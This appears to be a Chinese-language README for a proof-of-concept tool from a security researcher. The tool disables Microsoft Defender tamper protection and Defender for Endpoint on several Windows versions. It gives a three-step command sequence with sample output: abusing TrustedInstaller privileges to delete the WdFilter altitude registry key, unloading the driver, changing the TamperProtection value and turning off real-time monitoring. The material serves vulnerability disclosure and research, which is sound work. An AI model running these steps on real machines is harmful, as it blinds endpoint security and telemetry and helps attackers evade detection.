禁用篡改防护及其他 Defender / MDE 组件

可以滥用 SYSTEM / TrustedInstaller 权限来篡改或删除 WdFilter 设置（ALTITUDE 注册表项）并卸载内核微驱动程序，从而禁用篡改防护及其他 Defender 组件。这同样会影响 Microsoft 的 Defender for Endpoint（MDE），使 MDE 无法获取目标上执行的遥测和活动数据。

在测试期间，发现该漏洞影响以下 Windows 版本：

Windows Server 2022（直至 BuildLabEx 版本：20348.1.amd64fre.fe_release.210507-1500，2024 年 4 月更新）
Windows Server 2019
Windows 10（直至 BuildLabEx 版本：19041.1.amd64fre.vb_release.191206-1406，2024 年 4 月更新）
Windows 11（直至 BuildLabEx 版本：22621.1.amd64fre.ni_release.220506-1250，2023 年 9 月更新）

解释该绕过方法及 POC 的博客：https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components

用法

注意：目标上可能需要安装 VC_redist.x64.exe（MSVC 运行时）。

POC 演示：https://youtu.be/MI6aVDHRix8

POC 分为 3 个步骤（需要管理员权限）：

C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1:      Unload WdFilter
2:      Disable Tamper Protection
3:      Disable AV/MDE
4:      Restore AV/MDE settings

使用 POC 的示例如下：

卸载 WdFilter：

C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!

# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
        Next:   0 | Frame ID:   0 | No. of Instances:   4 | Name:        wdfilter | Altitude:          328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!

# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.

禁用篡改防护：

C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.

禁用 Defender / MDE 组件：

C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.

恢复 / 还原 WdFilter 微驱动程序、TamperProtection 和 Defender 设置（实时）。请确保将 Altitude 编号（默认值：328010）改回 POC 中第 530 行的原始值。

# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.

参考

致谢

发布者：Munaf Shariff（@m3rcer）

Altered Security 安全研究员

Disable-TamperProtection

最受欢迎

禁用篡改防护及其他 Defender / MDE 组件

用法

参考

致谢